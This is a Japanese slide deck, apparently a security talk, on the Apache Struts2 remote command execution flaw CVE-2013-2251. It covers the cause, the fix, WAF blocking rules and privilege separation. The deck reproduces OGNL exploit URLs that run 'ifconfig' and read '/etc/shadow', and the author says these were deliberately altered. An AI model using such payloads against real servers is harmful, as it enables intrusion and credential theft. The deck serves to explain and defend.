Cve 2013-2251

7,350 views
7,214 views

Published on

0 Comments
14 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
7,350
On SlideShare
0
From Embeds
0
Number of Embeds
5
Actions
Shares
0
Downloads
53
Comments
0
Likes
14
Embeds 0
No embeds

No notes for slide

Cve 2013-2251

  1. 1. CVE-2013-2251 ー strutsと愉快な脆弱性達 続編 ー ※本稿の内容を管理下ではない環境に対して 実施しないでください。
  2. 2. 自己紹介 Twitter: abend Webセキュリティをメインでやってます。
  3. 3. CVE-2013-2251 2013年7月16日に公開されたApache Struts2系に存在 するリモートの攻撃者によりOSコマンドが実行可能 な脆弱性。2.3.15.1で改修されています。 Apache Software Foundation http://struts.apache.org/release/2.3.x/docs/s2-016.html LAC http://www.lac.co.jp/security/alert/2013/07/18_alert_01.h tml 本脆弱性を悪用する攻撃が増えているそうです。
  4. 4. なんでこうなる? DefaultActionMapperが根本原因。 これはボタンなどに 付加する文字列(以下)から実行される動作を定義し ていたが、入力値のチェックがなく、そのまま実行さ れていたため、想定動作以外も実行可能。 <2.3.15まで定義されていた文字列> ・method: ・ action: ・ redirect: ・ redirectAction: 今回の犯罪者 → 無罪
  5. 5. なんでこうなる? 2.3.15と2.3.15.1のソースをdiffってみたら、こんな結果 「action:」は、正規表現で[a-zA-Z0-9._!/-]*以外の文字 は除去されるように修正されたようです。 「redirect:」や「redirectAction:」は、DefaultActionMap per から削除されています。極刑に処されたようです。 無罪なので「method:」は変更ないようです。
  6. 6. どうやる? Apache Software FoundationからPoC(Proof of Concept) が公開されています。 http://struts.apache.org/release/2.3.x/docs/s2-016.html 発見者は、三井物産セキュアディレクションの TakeshiTeradaさんだそうです。
  7. 7. どうやる?2 公開されたPoCは以下となっています。環境に あわせてURLを一部変更しています。 ① http://host/example/HelloWorld.action?action:%25{3*4} ⑤ http://host/example/HelloWorld.action?redirectAction:%25{(new+java.lang.ProcessBuilder (new+java.lang.String[]{‘ifconfig'})).start()} →12.jspへアクセスを試みる。そんなファイル存在しないので404エラー。 ② http://host/example/HelloWorld.action?redirect:%25{3*4} ③ http://host/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+jav a.lang.String[]{‘ifconfig'})).start()} ④ http://host/example/HelloWorld.action?redirect:%25{(new+java.lang.ProcessBuilder(new+j ava.lang.String[]{‘ifconfig'})).start()} →リダイレクトされ、/example/12へアクセスを試みるが、そんなファイル存在 しないので404エラー。 →java.lang.UNIXProcess@xxxxxxx.jspへアクセスを試みるが、そんなファイル存在 しないので404エラー。
  8. 8. どうやる?2 http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {'if config'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader (#b),#d=new java.io.BufferedRe ader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServlet Response'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()} 「なんだ、うまくいかないじゃん」という結論は時 期尚早です。 ※GETパラメータの値はコピペしても動作しないように、 内容の理解に問題のない個所を2byte変更しています。 以下、GETでアクセス HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date:Wed, 24 Jul 2013 22:35:12GMT c351 eth0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx inet addr:xxx.xxx.xxx.xxx Bcast:xxx.xxx.xxx.xxx Mask:255.255.255.0 レスポンス(抜粋) ↓NIC情報が出力された。
  9. 9. さっきのなんだったの? PoCの③、④、⑤は実行させるJavaが不完全だった。 動作させるために複数のコードを追加されていま す。「,」(カンマ)で複数のコードを追加可能。 ###Used by the DefaultActionMapper ### You may provide a comma separated list, e.g. struts.action.extension=action,jnlp,do ###The blank extension allows you to match directory listings as well as pure action names ### without interfering with static resources, which can be specified as an empty string ### prior to a comma e.g. struts.action.extension=, or struts.action.extension=x,y,z,, 「,」(カンマ)で複数のコードが認識され、実行に 至ったのではないかと推測されます。 色々と調べてみたら、default.propertiesに以下のよう な記述がありました。
  10. 10. さっきのなんだったの?2 01 http://host//example/HelloWorld.action?redirect:${ 02 #a=(new java.lang.ProcessBuilder(new java.lang.String[] {'ifconfig'})).start() 03 ,#b=#a.getInputStream() 04 ,#c=new java.io.InputStreamReader (#b) 05 ,#d=new java.io.BufferedReader(#c) 06 ,#e=new char[50000] 07 ,#d.read() 08 ,#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse') 09 ,#f.getWriter().println (#e) 10 ,#f.getWriter().flush() 11 ,#f.getWriter().close() 12 } ※GETのパラメータ値はコピペしても動作しないように、 内容の理解に問題のない個所を2byte変更しています。 ※見やすくするため、改行を入れてます。 02で実行させたいコマンドを指定し、それ以降でコ マンドの実行結果が出力されます。 ココ
  11. 11. じゃあ、どうする? 対策は、最新バージョンである2.3.15.1(2013年 7月26日時点)に更新する。 ぐだぐだ言ってないで、最新バージョン更新しろ。 そもそも、なんでできない?
  12. 12. なんでできない? tomcat /shopping 商品購入機能 Struts 2.1.8.1 例でショッピングサイトのツギハギ更新を考えてみる。 /mypage マイページ機能 Struts 2.2.1.1 機能追加 機能追加 /askme 問い合わせ機能 Struts 2.3.14.3 /manager 管理用機能 Struts 2.3.15 機能追加 常にstrutsの更新を行わないと、機能単位で異なるバー ジョン状況を生んでしまう。
  13. 13. なんでできない?2 1つのtomcatで複数のバージョンのstrutsを実装可能。 機能を追加するたびに、最新バージョンで作ってい たら、機能ごとで異なるバージョンになってしま う。 バージョン管理なんてやりたくない。 どの機能で更新による不整合が発生するか把握しづ らくなり、更新なんて余計やりたくない。 ※あくまで仮説です。
  14. 14. なんとか、なんないの? どうすることもできないのか? WAFる WAFら(ない) WAFり(ます) WAFる(こと) WAFれ(ば) アップデートできないなら、WAFれ!! 前回同様・・・
  15. 15. なんとか、なんないの?2 WAFでリクエストに「action:」、「redirect:」、「re directAction:」が含まれていたらブロックする。 「Action:」、「aCtion:」や「RedirectAction:」など を試してみたが、脆弱性が発現されなかったので上 記のパターンでいいのではないか。 じゃあ、どうブロックする? SecRule ARGS_NAMES "action:" "phase:2,t:none,auditlog,deny,id:'999998'“ SecRule ARGS_NAMES "redirect:" "phase:2,t:none,auditlog,deny,id:'999997'" SecRule ARGS_NAMES "redirectAction:" "phase:2,t:none,auditlog,deny,id:'999996'"
  16. 16. なんとか、なんないの?2 GETやPOSTでもブロックできていたので、効果は ありそうです。 http://host/file.action?a=a&action:・・・というよう に適当なパラメータを挿入されたり、POSTの場合、 マッチしないので。 ちなみに、REQUEST_URIで「 ?action: 」をブロック というのはダメです。
  17. 17. なんとか、なんないの?3 パラメータ名に「action:」、「redirect:」、「redirec tAction:」が使われる可能性は低いと思うので、そ れなりにイケてるのでは。 ただ、保証するものではないので自己責任でやって ください。
  18. 18. ほかにも1 NTTデータ先端技術から検証結果とともに、対策 案で「管理者権限での動作」に関して言及されて いる。 http://security.intellilink.co.jp/article/vulner/130723.html That’s right!! Strutsだけでなく、Tomcatに脆弱性が存在してい た場合、影響度は高くなるので、権限は分離すべ き。(そもそも)
  19. 19. ほかにも2 どうやって権限を分離するのか。 ・tomcatユーザ作って ・CATALINA_HOMEの権限をtomcatユーザにして ・tomcatユーザとしてTomcatを起動する。 これだけにも関わらず、やっていない環境が数多 く存在します。
  20. 20. ほかにも3 ①権限分離なしの場合 http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {’c at’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader (#b),#d=new java.io.B ufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.H ttpServletResponse'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()} HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Date: Sat, 27 Jul 2013 05:16:54 GMT Content-Length: 50001 root:*******************.:xxx:0:99999:7::: bin:*:xxx:0:99999:7::: daemon:*:xxx:99999:7::: /etc/shadowを出力するようにすると・・・ モザイクなしの18禁ばりに見えてる。 レスポンス(抜粋) ※GETパラメータの値はコピペしても動作しないように、 内容の理解に問題のない個所を2byte変更しています。
  21. 21. ほかにも4 ②権限分離ありの場合 http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.la ng.String[] {’cat’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamRe ader (#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get(' com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println (#e),#f.get Writer().flush(),#f.getWriter().close()} HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Date: Sat, 27 Jul 2013 05:31:40 GMT Content-Length: 50001 同様に/etc/shadowを出力するようにすると・・・ アカウント情報が出力されなくなった。 レスポンス(抜粋) ※GETパラメータの値はコピペしても動作しないように、 内容の理解に問題のない個所を2byte変更しています。
  22. 22. ほかにも5 権限の分離で「/etc/shadow」の閲覧は、できな くなったが、tomcatユーザ権限の範囲での悪用 は可能。「ifconfig」は権限分離後も悪用可能。 権限分離も影響度を少なくするための軽減措置で しかなく、この脆弱性の解決策ではありません。
  23. 23. 結論(まとめ1) Strutsの脆弱性って激しいよね。 WAFとか権限分離しても根本解決じゃないよね。 アップデート以外、根本解決ってないの?
  24. 24. 結論(まとめ2) いや、実はあるんです。 Strutsを使うな。

×